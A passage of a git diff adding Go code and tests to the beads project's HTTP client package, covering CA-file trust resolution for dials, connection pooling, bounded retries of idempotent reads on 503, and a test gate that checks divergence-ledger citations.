(which may + // itself report "no CA configured" via its own configured() == false). + // + // It is set two ways, both of which need CAFileEnv taken completely out + // of the loop rather than merely out-prioritized: + // + // - DialOptionsForFile, which has already built HTTPClient's Transport + // from exactly one explicit file. Without this, DialWith's own + // env-scoped resolveCAFile would run anyway and could trip the + // caller-supplied-Transport refusal below the moment CAFileEnv + // happens to be set (and host-scoped-match) for the same target + // being verified. + // - DialOptionsForTarget, which backend/http's embedder door uses for + // EVERY dial: an embedder juggling several targets in one process + // must not have any of them silently renarrowed, or blocked, by an + // ambient CAFileEnv value a completely unrelated invocation + // exported — only Target.CAFile, passed explicitly, may ever apply + // on that door. + // + // Unexported: a caller outside this package can never set it directly, so + // an external HTTPClient always goes through one of the two constructors + // above, or the normal env-aware resolution. + caOverride *resolvedCA +} + +// Conn is the store's view of one wire client. +// +// It exists to answer the WireClient seam's ServerContext with the GATED +// handshake rather than the raw fetch: api_version equality and, when the +// workspace recorded one, project identity are the two checks a snapshot must +// pass before anything is served from it (design D6). GetContext would return a +// body from any server that answered. +type Conn struct { + *wire.Client +} + +func (c *Conn) ServerContext(ctx context.Context) (*apigen.ContextResponse, error) { + snap, err := c.Handshake(ctx) + if err != nil { + return nil, err + } + body := snap.Context + return &body, nil +} + +// Dial builds the transport for one resolved target: the default credential +// ladder plus a wire client bound to it. +func Dial(target Target, opts DialOptions) (*Conn, error) { + return DialWith(target, NewBearerProvider(target.BaseURL), opts) +} + +// DialWith is Dial with the credential source chosen by the caller — the other +// half of the D5 seam, for the layers that ride it: a gateway dialer outside +// this repo and the public registrant (backend/http), each of +// which binds a provider this package does not know about. +// +// It exists so the target-to-client mapping has ONE body. The gateway dialer +// used to build the wire client itself, and the registrant would have been the +// second copy of the same six lines; what a copy really duplicates is +// ExpectProjectID, the identity pin that travels on the Target and is applied +// through the wire Options — a caller that dropped it would dial a client whose +// handshake silently skips the wrong-server gate. +// +// creds may be nil, which is the tip OSS server's loopback-trust posture: no +// Authorization header is sent and a 401 is never retried. +// +// When opts.HTTPClient is nil, or has a nil Transport, DialWith resolves +// target's CA trust (the same env-scoped resolution TransportFor does) and +// dials with a transport scoped to it — see DialOptions.HTTPClient for the +// exact rules, including the refusal when a caller-supplied HTTPClient +// already has its own Transport and the target has a CA configured. This is +// what lets `bd connect --ca-file` verify a server during its own Handshake +// call, before anything is written, and what lets the default and gateway +// dialers honor BEADS_HTTP_CA_FILE with no further plumbing. Every dial also +// gets the raised MaxIdleConnsPerHost ceiling (baselineTransport), whether or +// not a CA is configured — the RTT cost of an under-pooled host is the same +// either way. +func DialWith(target Target, creds CredentialProvider, opts DialOptions) (*Conn, error) { + var resolved resolvedCA + if opts.caOverride != nil { + resolved = *opts.caOverride + } else { + var err error + resolved, err = resolveCAFile(target) + if err != nil { + return nil, err + } + } + + switch { + case opts.HTTPClient == nil: + transport, terr := dialTransport(resolved) + if terr != nil { + return nil, terr + } + opts.HTTPClient = &http.Client{Transport: transport, Timeout: wire.DefaultTimeout} + + case opts.HTTPClient.Transport == nil: + // The SAME transport the opts.HTTPClient == nil arm above builds + // through dialTransport — the CA-scoped one when resolved names a + // file, the shared raised-ceiling baseline otherwise — because the + // doc comment above promises that ceiling on EVERY dial "whether or + // not a CA is configured", and a caller-supplied client with a nil + // Transport is still a dial this package owns the Transport for. + // Leaving it nil here would let it default to + // http.DefaultTransport's own unraised ceiling at request time + // instead, silently exempting this one caller-supplied-client shape + // from that promise. Injected onto a COPY, so the caller's own + // *http.Client (Timeout, CheckRedirect, Jar) is left untouched. + transport, terr := dialTransport(resolved) + if terr != nil { + return nil, terr + } + clientCopy := *opts.HTTPClient + clientCopy.Transport = transport + opts.HTTPClient = &clientCopy + + default: + if resolved.configured() { + matched, verifyErr := matchesCachedTransport(opts.HTTPClient.Transport, resolved.path) + if !matched { + if errors.Is(verifyErr, errCAFileChangedSinceTransportBuilt) { + return nil, fmt.Errorf( + "%s configures a CA for %s, and the supplied HTTPClient's Transport was built by this package for the same file, but that file has changed since: %w", + resolved.label, target, verifyErr) + } + if verifyErr != nil { + return nil, fmt.Errorf( + "%s configures a CA for %s, but verifying the supplied HTTPClient's Transport against the current file failed: %w", + resolved.label, target, verifyErr) + } + return nil, fmt.Errorf( + "%s configures a CA for %s, but the supplied HTTPClient's Transport is not the CA-scoped one this package builds for it; leave DialOptions.HTTPClient nil (or its Transport nil) to let DialWith inject it, or build the Transport from TransportFor(target) (or TransportForFile) so DialWith can recognize it as exactly that CA's transport — or, if you deliberately want a transport of your own choosing, clear the CA (Target.CAFile, and any %s pattern that matches this target) and own trust yourself", + resolved.label, target, CAFileEnv) + } + } + // Either no CA is configured for this target, or the caller's + // Transport IS the cached CA-scoped transport TransportFor(target) + // (or TransportForFile) builds for resolved.path — the documented + // embedder recipe of composing that transport into HTTPClient before + // calling. Either way there is nothing to inject and nothing to + // refuse. + } + + client, err := wire.New(target.BaseURL, creds, wire.Options{ + HTTPClient: opts.HTTPClient, + UserAgent: opts.UserAgent, + ExpectProjectID: target.ExpectProjectID, + }) + if err != nil { + return nil, err + } + return &Conn{Client: client}, nil +} + +// dialTransport builds the transport DialWith uses when the caller left +// HTTPClient nil entirely: the CA-scoped one when resolved names a file, or +// the shared baseline (system roots, raised MaxIdleConnsPerHost) otherwise. +func dialTransport(resolved resolvedCA) (http.RoundTripper, error) { + if resolved.configured() { + return transportForFile(resolved.path, resolved.label) + } + return baselineTransport(), nil +} + +var ( + baselineTransportOnce sync.Once + baselineTransportRT http.RoundTripper +) + +// baselineTransport is the http.RoundTripper DialWith uses for a target with +// no CA configured: http.DefaultTransport's own system-roots TLS trust, +// completely unchanged, but with MaxIdleConnsPerHost raised the same way +// TransportFor raises it for a CA-scoped target (see maxIdleConnsPerHost in +// ca.go) — applied to every http-backend target, not only CA-configured ones, +// since the RTT cost of an under-pooled host is identical either way. Built +// once and reused for the life of the process: nothing about it depends on +// per-target state, so there is nothing to key a cache on and no reason to +// pay Clone() on every dial. +func baselineTransport() http.RoundTripper { + baselineTransportOnce.Do(func() { + transport := http.DefaultTransport.(*http.Transport).Clone() //nolint:errcheck // http.DefaultTransport is always *http.Transport + transport.MaxIdleConnsPerHost = maxIdleConnsPerHost + baselineTransportRT = transport + }) + return baselineTransportRT +} + +// DefaultDialer is the WireDialer the enterprise distribution registers. +// +// It performs no handshake: design D6 makes the context fetch lazy, on the first +// post-baseline dispatch, so opening a workspace to run `bd ready` costs one +// round trip rather than two. The store owns that fetch and caches it. +func DefaultDialer(opts DialOptions) WireDialer { + return func(_ context.Context, target Target) (WireClient, error) { + return Dial(target, opts) + } +} + +// RegisterDefaultDialer installs the production transport. Init-time wiring +// only, the same rule as RegisterWireDialer itself. +func RegisterDefaultDialer(opts DialOptions) { + RegisterWireDialer(DefaultDialer(opts)) +} + +// Handshake dials target once and returns its gated startup snapshot. +// +// It is the connect path's probe: `bd connect` verifies a server before it +// writes anything, and it must do so without opening a store, because the +// workspace it is about to describe may not select this backend yet. A project +// mismatch comes back as *wire.ProjectMismatchError, which names both ids plus +// the server's own database and repo root. +func Handshake(ctx context.Context, target Target, opts DialOptions) (*apigen.ContextResponse, error) { + conn, err := Dial(target, opts) + if err != nil { + return nil, err + } + return conn.ServerContext(ctx) +} + +// DialOptionsForFile returns base with HTTPClient set to a transport scoped +// to EXACTLY caFile, bypassing CAFileEnv and any sidecar entirely. +// +// It exists for `bd connect --ca-file X`: X must be verified for itself, +// before it is written anywhere, regardless of what BEADS_HTTP_CA_FILE +// currently resolves to for the same host — otherwise a `bd connect` run with +// the env var set to a good CA and --ca-file pointed at a wrong one would +// verify against the env's CA while writing the flag's unverified one to the +// sidecar. Passing the returned DialOptions (with Target.CAFile left "" for +// this call) to Handshake or Dial makes the verification match exactly what +// the flag names. +func DialOptionsForFile(caFile string, base DialOptions) (DialOptions, error) { + transport, err := TransportForFile(caFile) + if err != nil { + return DialOptions{}, err + } + base.HTTPClient = &http.Client{Transport: transport, Timeout: wire.DefaultTimeout} + // This transport was just built from exactly caFile, deliberately + // bypassing CAFileEnv and any sidecar. DialWith must not re-resolve the + // CA from the ambient environment for this call, nor refuse the + // Transport just assigned above as an unrecognized caller-supplied one — + // an empty override reports "no CA configured" to DialWith's default + // branch, which is exactly right: this HTTPClient's Transport is already + // final. See DialOptions.caOverride. + empty := resolvedCA{} + base.caOverride = &empty + return base, nil +} + +// DialOptionsForTarget returns base with CA resolution pinned to EXACTLY +// target.CAFile, bypassing CAFileEnv entirely — never consulting it, not even +// to prefer the sidecar over a non-matching pattern. +// +// It exists for backend/http's embedder door (newDialer), which must compute +// this FRESH for every target it dials: an embedder juggling several targets +// in one process must not have any of them silently renarrowed to a private +// CA, or blocked from a legitimate one, because an unrelated invocation +// exported CAFileEnv for a completely different target. Unlike +// DialOptionsForFile, this does not build a transport itself — base.HTTPClient +// is left exactly as the caller supplied it (nil, a client with a nil +// Transport for DialWith to inject into on a copy, or a client whose +// Transport the caller already built via TransportFor(target)), and DialWith +// resolves and injects, or recognizes and accepts, from this override alone. +func DialOptionsForTarget(target Target, base DialOptions) DialOptions { + resolved := resolvedCA{} + if caFile := strings.TrimSpace(target.CAFile); caFile != "" { + resolved = resolvedCA{path: caFile, label: "ca_file"} + } + base.caOverride = &resolved + return base +} diff --git a/internal/httpclient/dial_test.go b/internal/httpclient/dial_test.go new file mode 100644 index 000000000..2de4d70d7 --- /dev/null +++ b/internal/httpclient/dial_test.go @@ -0,0 +1,221 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/dial_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "net/http" + "net/http/httptrace" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +// TestBaselineTransportRaisesMaxIdleConnsPerHost is finding 9: the ceiling +// TransportFor already applies to a CA-scoped target must ALSO apply to an +// ordinary target with no CA configured, since the RTT cost of an +// under-pooled host is the same either way. +func TestBaselineTransportRaisesMaxIdleConnsPerHost(t *testing.T) { + rt := baselineTransport() + transport, ok := rt.(*http.Transport) + if !ok { + t.Fatalf("baselineTransport returned %T, want *http.Transport", rt) + } + if transport.MaxIdleConnsPerHost != maxIdleConnsPerHost { + t.Errorf("MaxIdleConnsPerHost = %d, want %d", transport.MaxIdleConnsPerHost, maxIdleConnsPerHost) + } +} + +// TestBaselineTransportIsSharedAcrossCalls confirms baselineTransport is built +// once and reused (sync.Once), not cloned per dial: a long-lived process must +// not leak a fresh transport, and its connection pool, on every dial of a +// target that never configured a CA. +func TestBaselineTransportIsSharedAcrossCalls(t *testing.T) { + first := baselineTransport() + second := baselineTransport() + if first != second { + t.Error("baselineTransport returned a different instance on a second call; it should be built once and reused") + } +} + +// TestDialTransportUsesBaselineWhenNoCAConfigured is finding 9's unit test on +// the exact seam DialWith uses when the caller leaves HTTPClient nil: an +// unconfigured resolvedCA must produce the shared baselineTransport, not a +// freshly cloned one, and it must carry the raised ceiling. +func TestDialTransportUsesBaselineWhenNoCAConfigured(t *testing.T) { + rt, err := dialTransport(resolvedCA{}) + if err != nil { + t.Fatalf("dialTransport: %v", err) + } + if rt != baselineTransport() { + t.Error("dialTransport did not return the shared baselineTransport for an unconfigured CA") + } +} + +// TestDialWithNoCARaisesMaxIdleConnsPerHost is finding 9's end-to-end case: a +// target with no CA configured, dialed through DialWith with HTTPClient left +// nil, still reaches a real server through the raised-ceiling baseline +// transport. +func TestDialWithNoCARaisesMaxIdleConnsPerHost(t *testing.T) { + clearCAEnvironment(t) + server := &contextServer{body: v0Context("proj-baseline")} + srv := server.start(t) + target := Target{BaseURL: mustParseURL(t, srv.URL)} + + snap, err := Handshake(context.Background(), target, DialOptions{}) + if err != nil { + t.Fatalf("Handshake: %v", err) + } + if snap.ProjectId != "proj-baseline" { + t.Errorf("project_id = %q, want proj-baseline", snap.ProjectId) + } +} + +// TestDialWithSuppliedClientNilTransportNoCARaisesMaxIdleConnsPerHost covers +// the OTHER shape DialWith's own doc comment promises the raised ceiling for +// ("Every dial also gets the raised MaxIdleConnsPerHost ceiling... whether or +// not a CA is configured"): a caller that supplies its own *http.Client with +// a nil Transport, dialed against a target with no CA configured. The +// opts.HTTPClient == nil branch above (TestDialWithNoCARaisesMaxIdleConnsPerHost) +// does not exercise this branch at all — a caller-supplied client with a nil +// Transport used to fall through to http.DefaultTransport's own unraised +// MaxIdleConnsPerHost of 2 instead, silently exempting this one shape from +// the doc's "every dial" promise, and forcing a fresh connection (a fresh TLS +// handshake, over a real network) on most of a concurrent burst even once the +// pool is warm. +// +// This asserts it end to end, through wire.Client.Do rather than by reaching +// into the transport this package's *Conn hands wire.New (wire.Client keeps +// it unexported, and rightly so): a burst of concurrent requests through the +// resulting Conn, traced with httptrace the way +// TestTransportForRaisesMaxIdleConnsPerHostForBursts traces a raw +// *http.Transport, must settle into reusing every connection once the pool +// has gone idle — which the default ceiling of 2 cannot do at this burst +// size. +func TestDialWithSuppliedClientNilTransportNoCARaisesMaxIdleConnsPerHost(t *testing.T) { + clearCAEnvironment(t) + server := &contextServer{body: v0Context("proj-supplied-client")} + srv := server.start(t) + target := Target{BaseURL: mustParseURL(t, srv.URL)} + + supplied := &http.Client{} + conn, err := DialWith(target, nil, DialOptions{HTTPClient: supplied}) + if err != nil { + t.Fatalf("DialWith: %v", err) + } + if supplied.Transport != nil { + t.Error("DialWith mutated the caller's own *http.Client in place; it must inject onto a copy") + } + + const burst = 8 + req := wire.Request{Op: "test.burst", Method: http.MethodGet, Path: "/v0/test-burst"} + + runBurst := func() int64 { + var wg sync.WaitGroup + var newConns int64 + for i := 0; i < burst; i++ { + wg.Add(1) + go func() { + defer wg.Done() + reused := make(chan bool, 1) + trace := &httptrace.ClientTrace{ + GotConn: func(info httptrace.GotConnInfo) { reused <- info.Reused }, + } + ctx := httptrace.WithClientTrace(context.Background(), trace) + if err := conn.Do(ctx, req, &apigen.ContextResponse{}); err != nil { + t.Errorf("Do: %v", err) + return + } + if !<-reused { + atomic.AddInt64(&newConns, 1) + } + }() + } + wg.Wait() + return newConns + } + + if warm := runBurst(); warm == 0 { + t.Fatal("first burst reused connections that could not have existed yet") + } + + var steady int64 + for attempt := 0; attempt < 5; attempt++ { + time.Sleep(50 * time.Millisecond) + steady = runBurst() + if steady == 0 { + break + } + } + if steady != 0 { + t.Errorf("repeat burst dialed %d/%d fresh connections after warm-up; the supplied-client-nil-Transport branch is not getting the raised MaxIdleConnsPerHost ceiling", steady, burst) + } +} + +// --- finding 2: DialOptionsForFile --- + +// TestDialOptionsForFileBypassesEnvEntirely is finding 2's core unit: a +// DialOptions built from an explicit file must verify against EXACTLY that +// file, never BEADS_HTTP_CA_FILE, even when the env is set to a DIFFERENT, +// otherwise-valid CA for the same host. This is what lets `bd connect +// --ca-file X` check X for itself before writing it, regardless of what the +// env currently resolves to. +func TestDialOptionsForFileBypassesEnvEntirely(t *testing.T) { + clearCAEnvironment(t) + right := newTestCA(t) + wrong := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-connect-check")} + u := wrong.startServer(t, h.handler()) + + // The env is set to a CA that would NOT verify this server; if + // DialOptionsForFile consulted it, the handshake below would fail for the + // wrong reason, or a matching-host env could mask the flag's own file + // entirely. + t.Setenv(CAFileEnv, u.Host+"="+right.writePEM(t)) + + opts, err := DialOptionsForFile(wrong.writePEM(t), DialOptions{}) + if err != nil { + t.Fatalf("DialOptionsForFile: %v", err) + } + // Target.CAFile is deliberately left empty, mirroring cmd/bd's connect + // verification call. + target := Target{BaseURL: u} + snap, err := Handshake(context.Background(), target, opts) + if err != nil { + t.Fatalf("Handshake verifying exactly the flag's CA file: %v", err) + } + if snap.ProjectId != "proj-connect-check" { + t.Errorf("project_id = %q, want proj-connect-check", snap.ProjectId) + } +} + +// TestDialOptionsForFileRefusesTheWrongCAEvenWithAGoodEnv is finding 2's exact +// regression scenario: "With the env var set to the good CA and --ca-file set +// to a wrong CA, connect succeeded" (the bug). DialOptionsForFile must make +// the handshake fail here, since --ca-file's own file is the wrong one. +func TestDialOptionsForFileRefusesTheWrongCAEvenWithAGoodEnv(t *testing.T) { + clearCAEnvironment(t) + right := newTestCA(t) + wrong := newTestCA(t) + h := &caContextHandler{body: v0Context("proj-should-not-verify")} + u := right.startServer(t, h.handler()) + + t.Setenv(CAFileEnv, u.Host+"="+right.writePEM(t)) + + opts, err := DialOptionsForFile(wrong.writePEM(t), DialOptions{}) + if err != nil { + t.Fatalf("DialOptionsForFile: %v", err) + } + target := Target{BaseURL: u} + _, err = Handshake(context.Background(), target, opts) + if err == nil { + t.Fatal("Handshake succeeded with --ca-file's own wrong CA, despite a good env CA for the same host; DialOptionsForFile must check exactly the flag's file") + } + if h.sawRequest() { + t.Error("server saw a request; TLS verification against the wrong CA should have failed first") + } +} diff --git a/internal/httpclient/dispatch.go b/internal/httpclient/dispatch.go new file mode 100644 index 000000000..8322da940 --- /dev/null +++ b/internal/httpclient/dispatch.go @@ -0,0 +1,113 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/dispatch.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "fmt" + "net/http" + "time" + + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +const ( + // maxIdempotentRetries bounds how many times dispatch comes back to a busy + // server for one idempotent read. Three attempts total: a 503 is transient + // slot pressure, and a client that hammered past this would BE the contention + // it is waiting out. + maxIdempotentRetries = 2 + // baseRetryBackoff is the wait before the first retry when the server named no + // Retry-After. It doubles each attempt, capped at maxRetryBackoff. + baseRetryBackoff = 200 * time.Millisecond + // maxRetryBackoff caps a COMPUTED backoff. A server's own Retry-After is + // already bounded by wire.Options.MaxRetryAfter and is honored as it is given. + maxRetryBackoff = 5 * time.Second +) + +// dispatch is this store's ONE door to the wire, and the only place the +// two-speed policy of D6 is spelled. +// +// Every operation goes through Preflight first — the policy itself lives in the +// wire package, which knows that five baseline operations return immediately and +// that every other one forces the handshake and consults the advertised token. +// Putting the call here rather than at each role method is what makes "every +// dispatch site honors the two-speed policy" a property of the code rather than +// of a reviewer's memory: a role that wants to reach the server has no other +// route to it. +// +// It is also the one place that knows an operation's HTTP method, so the bounded +// 503 retry lives here: the wire layer bounds Retry-After and hands it back but +// never sleeps or resends, precisely because whether a 503 is safe to come back +// to is a question only the method answers, and only a GET's answer is yes. +// +// A store with no transport is a build-wiring fault (ErrNoTransport), not the +// user's: the workspace and the server may both be fine. +func (s *Store) dispatch(ctx context.Context, req wire.Request, out any) error { + if s.wire == nil { + return fmt.Errorf("%w: cannot dial %s", ErrNoTransport, s.target) + } + if err := s.wire.Preflight(ctx, req.Op); err != nil { + return err + } + + err := s.wire.Do(ctx, req, out) + // Only an idempotent GET is retried. A 503 can interrupt a non-idempotent + // write whose first attempt already committed before the server ran out of + // slots, so resending a POST/PATCH/DELETE could double-apply it — DELETE + // included, since forgetMemory is a mutation the wire happens to spell as one. + if req.Method != http.MethodGet { + return err + } + for attempt := 0; attempt < maxIdempotentRetries; attempt++ { + wait, retry := retryBackoff(err, attempt) + if !retry { + return err + } + if sleepErr := sleepWithContext(ctx, wait); sleepErr != nil { + // The caller's deadline won out mid-backoff. Surface the server's busy + // answer rather than the context error: "bd serve is busy" is the + // actionable diagnosis, and the deadline is downstream of it. + return err + } + err = s.wire.Do(ctx, req, out) + } + return err +} + +// retryBackoff reports whether err is a 503-class busy answer worth coming back +// to, and how long to wait first. It honors the server's already-bounded +// Retry-After when present, and otherwise backs off exponentially from +// baseRetryBackoff. A nil error, a non-ProblemError, or any non-retryable +// problem stops the loop. +func retryBackoff(err error, attempt int) (time.Duration, bool) { + var prob *wire.ProblemError + if !errors.As(err, &prob) || !prob.Retryable() { + return 0, false + } + if prob.RetryAfter > 0 { + return prob.RetryAfter, true + } + backoff := baseRetryBackoff << attempt + if backoff > maxRetryBackoff { + backoff = maxRetryBackoff + } + return backoff, true +} + +// sleepWithContext waits for d or until ctx is done, whichever comes first. A +// non-positive d is not a sleep at all, so it returns at once. +func sleepWithContext(ctx context.Context, d time.Duration) error { + if d <= 0 { + return nil + } + timer := time.NewTimer(d) + defer timer.Stop() + select { + case <-ctx.Done(): + return ctx.Err() + case <-timer.C: + return nil + } +} diff --git a/internal/httpclient/dispatch_test.go b/internal/httpclient/dispatch_test.go new file mode 100644 index 000000000..a297b5acb --- /dev/null +++ b/internal/httpclient/dispatch_test.go @@ -0,0 +1,139 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/dispatch_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "net/http" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +// busyThenOK answers with a 503 for the first busyCount Do calls and succeeds +// after, recording how many times it was dialed. It is the dispatch retry's +// double: a real server's slot pressure clears the same way. +type busyThenOK struct { + busyCount int + retryAfter time.Duration + calls int +} + +func (b *busyThenOK) do(_ context.Context, req wire.Request, _ any) error { + b.calls++ + if b.calls <= b.busyCount { + return &wire.ProblemError{ + Op: req.Op, + Status: http.StatusServiceUnavailable, + Err: wire.ErrBusy, + RetryAfter: b.retryAfter, + } + } + return nil +} + +func retryTestStore(t *testing.T, do func(context.Context, wire.Request, any) error) *Store { + t.Helper() + w := &fakeWire{ + res: &apigen.ContextResponse{}, + preflight: func(context.Context, string) error { return nil }, + do: do, + } + return New(testTarget(t), w, nil) +} + +func readRequest() wire.Request { + return wire.Request{Op: wire.OpListReadyWork, Method: http.MethodGet, Path: wire.PathReady} +} + +// TestDispatchRetriesIdempotentReadsOnBusy: a GET that a 503 turned away comes +// back, honors the server's Retry-After, and succeeds once the slot frees. +func TestDispatchRetriesIdempotentReadsOnBusy(t *testing.T) { + server := &busyThenOK{busyCount: 2, retryAfter: time.Millisecond} + s := retryTestStore(t, server.do) + + if err := s.dispatch(context.Background(), readRequest(), nil); err != nil { + t.Fatalf("dispatch: %v, want the retry to succeed", err) + } + if server.calls != 3 { + t.Errorf("Do called %d times, want 3 (one dial plus two retries)", server.calls) + } +} + +// TestDispatchCapsIdempotentRetries: a server that stays busy is not dialed +// forever. The bound is one dial plus maxIdempotentRetries, and the 503 is what +// the caller finally sees. +func TestDispatchCapsIdempotentRetries(t *testing.T) { + server := &busyThenOK{busyCount: 100, retryAfter: time.Millisecond} + s := retryTestStore(t, server.do) + + err := s.dispatch(context.Background(), readRequest(), nil) + if !errors.Is(err, wire.ErrBusy) { + t.Fatalf("dispatch = %v, want the busy error once the retries are spent", err) + } + if server.calls != 1+maxIdempotentRetries { + t.Errorf("Do called %d times, want %d (one dial plus the capped retries)", server.calls, 1+maxIdempotentRetries) + } +} + +// TestDispatchDoesNotRetryWrites: a non-idempotent write is dialed exactly once +// on a 503, because its first attempt may have committed before the server ran +// out of slots and a resend would double-apply it. +func TestDispatchDoesNotRetryWrites(t *testing.T) { + server := &busyThenOK{busyCount: 1, retryAfter: time.Millisecond} + s := retryTestStore(t, server.do) + + write := wire.Request{Op: wire.OpClaimIssue, Method: http.MethodPost, Path: "/v0/beads/issues/bd-1:claim"} + err := s.dispatch(context.Background(), write, nil) + if !errors.Is(err, wire.ErrBusy) { + t.Fatalf("dispatch = %v, want the busy error unretried", err) + } + if server.calls != 1 { + t.Errorf("a write was dialed %d times on a 503, want exactly 1", server.calls) + } +} + +// TestDispatchDoesNotRetryNonBusyReads: a read is retried only for the 503 busy +// class. A 500 fault is the same request earning the same answer, so it is not +// retried. +func TestDispatchDoesNotRetryNonBusyReads(t *testing.T) { + var calls int + s := retryTestStore(t, func(_ context.Context, req wire.Request, _ any) error { + calls++ + return &wire.ProblemError{Op: req.Op, Status: http.StatusInternalServerError, Err: wire.ErrServerFault} + }) + + err := s.dispatch(context.Background(), readRequest(), nil) + if !errors.Is(err, wire.ErrServerFault) { + t.Fatalf("dispatch = %v, want the server fault unretried", err) + } + if calls != 1 { + t.Errorf("a 500 was dialed %d times, want exactly 1", calls) + } +} + +// TestDispatchRetryStopsWhenTheContextIsDone: a caller whose deadline expires +// mid-backoff stops retrying and gets the server's busy answer, not a wait that +// outlives the request. +func TestDispatchRetryStopsWhenTheContextIsDone(t *testing.T) { + server := &busyThenOK{busyCount: 100, retryAfter: time.Hour} // never clears in time + s := retryTestStore(t, server.do) + + ctx, cancel := context.WithTimeout(context.Background(), 20*time.Millisecond) + defer cancel() + + start := time.Now() + err := s.dispatch(ctx, readRequest(), nil) + if !errors.Is(err, wire.ErrBusy) { + t.Fatalf("dispatch = %v, want the busy error when the deadline cut the wait short", err) + } + if elapsed := time.Since(start); elapsed > time.Second { + t.Errorf("dispatch honored the hour-long Retry-After past the caller's deadline (%s)", elapsed) + } + if server.calls != 1 { + t.Errorf("Do called %d times; the deadline should have stopped the first backoff", server.calls) + } +} diff --git a/internal/httpclient/divergence_citation_gate_test.go b/internal/httpclient/divergence_citation_gate_test.go new file mode 100644 index 000000000..64a229770 --- /dev/null +++ b/internal/httpclient/divergence_citation_gate_test.go @@ -0,0 +1,160 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/divergence_citation_gate_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "go/ast" + "go/parser" + "go/token" + "os" + "path/filepath" + "strconv" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpclient/encode" +) + +// The invariant this gate holds is "nothing skips without a ledger row": every +// served-tier park calls skipKnownDivergence(t, , ...) naming the +// divergence-ledger id (encode/ledger.go) that says WHAT the wire cannot carry. +// +// Until now that binding was a STRING and nothing more. The row a park cites +// was checkable only by a reader who went and looked, so a row renamed or +// deleted in encode/ledger.go left its parks citing a coordinate that resolves +// to nothing — the exact drift the ledger's own RowByID panic and bijection +// gate exist to make impossible on the ENCODER side, but which the park side +// had no counterpart for. A park that cites a dead row still skips, still reads +// as "known divergence", and no test notices. +// +// This gate closes that gap by machine-binding each citation to a LIVE row. +// It parses the served test sources, collects every skipKnownDivergence park's +// cited id, and resolves each through the encoder's own lookup — the same +// RowByID a refusal raises through — failing on any id no live row carries. A +// park resolves here iff a refusal citing the same id would; the two can no +// longer disagree. +// +// It binds the row's KIND as well as its existence, because existence alone +// leaves the more likely rot: a row is far more often RETIRED than deleted, and +// a park citing a retired row resolves cleanly while skipping a case whose +// divergence upstream already closed. Retirement is the moment those cases must +// come back, so it is the moment this fails. +// +// It is deliberately UNTAGGED, for the reason divergence_test.go states about +// the helper it guards: the parks live behind //go:build cgo, but a gate that +// reads them as TEXT needs no build tag to do so, and one that carried the cgo +// tag would go blind in exactly the no-cgo build where a citation could rot +// unobserved. The encode package it resolves against is pure Go. +const parkHelperName = "skipKnownDivergence" + +// parkCitation is one skipKnownDivergence call site: the ledger row it cites and +// where it cites it, so a failure names the park rather than just the id. +type parkCitation struct { + row string + pos string +} + +func TestDivergenceParkCitationsResolveToLiveLedgerRows(t *testing.T) { + cites := collectParkCitations(t, ".") + if len(cites) == 0 { + // Finding nothing is itself a failure: the helper was renamed or moved + // out of this package and the gate now guards an empty set. + t.Fatalf("found no %s parks to bind; the helper was renamed or moved and this gate now guards nothing", parkHelperName) + } + for _, c := range cites { + row, ok := resolveLedgerRow(c.row) + if !ok { + t.Errorf("%s: %s parks on ledger row %q, which no live encoder-ledger row resolves (encode/ledger.go) — the row was renamed or deleted and this park now cites nothing", + c.pos, parkHelperName, c.row) + continue + } + // RESOLVING IS NOT ENOUGH, and the gap between the two is a park that + // keeps skipping forever. A row's KIND is what says whether the wire + // still cannot carry the thing: refuse and degrade are live divergences, + // and KindRetired means the divergence is GONE — upstream published the + // member, or the client started sending it. A case parked on a retired + // row is a case whose reason expired, and because the park is a + // t.Skipf it goes on reporting itself as a known divergence rather than + // as coverage that should have come back. Retiring a row is exactly when + // its parks must be re-run, so it is exactly when this has to fail. + if row.Kind == encode.KindRetired { + t.Errorf("%s: %s parks on ledger row %q, which is RETIRED — the divergence it cites no longer exists, so this case is skipping for a reason that expired. Unpark it (and delete the citation), or move the park onto the row that describes what still diverges", + c.pos, parkHelperName, c.row) + } + } +} + +// resolveLedgerRow returns the row an id names through the encoder's own lookup — +// the one every refusal raises through. +// +// RowByID panics on an unknown id, which encode/ledger.go documents as the +// correct severity for a refusal. The gate recovers it so a dead citation reads +// as a located test failure instead of a raw stack trace, and so one dead park +// does not hide the next. +func resolveLedgerRow(id string) (row encode.Row, ok bool) { + defer func() { + if recover() != nil { + row, ok = encode.Row{}, false + } + }() + return encode.RowByID(id), true +} + +// collectParkCitations reads the row every skipKnownDivergence park cites out of +// the sources rather than from a hand-kept list, for the reason the ledger's own +// gates are derived rather than restated: a second copy is a second thing that +// can be wrong. It scans this package's test files only, because the helper is +// package-private and a park elsewhere could not call it by bare name. +func collectParkCitations(t *testing.T, dir string) []parkCitation { + t.Helper() + entries, err := os.ReadDir(dir) + if err != nil { + t.Fatalf("read %s: %v", dir, err) + } + fset := token.NewFileSet() + var cites []parkCitation + for _, entry := range entries { + if entry.IsDir() || !strings.HasSuffix(entry.Name(), "_test.go") { + continue + } + path := filepath.Join(dir, entry.Name()) + file, err := parser.ParseFile(fset, path, nil, parser.SkipObjectResolution) + if err != nil { + t.Fatalf("parse %s: %v", path, err) + } + ast.Inspect(file, func(n ast.Node) bool { + call, ok := n.(*ast.CallExpr) + if !ok { + return true + } + fn, ok := call.Fun.(*ast.Ident) + if !ok || fn.Name != parkHelperName { + return true + } + pos := fset.Position(call.Pos()).String() + // The signature is skipKnownDivergence(t, row, beadID, reason): the + // receiver comes first and the cited row is the second argument. + if len(call.Args) < 2 { + t.Errorf("%s: %s(...) has too few arguments to carry a 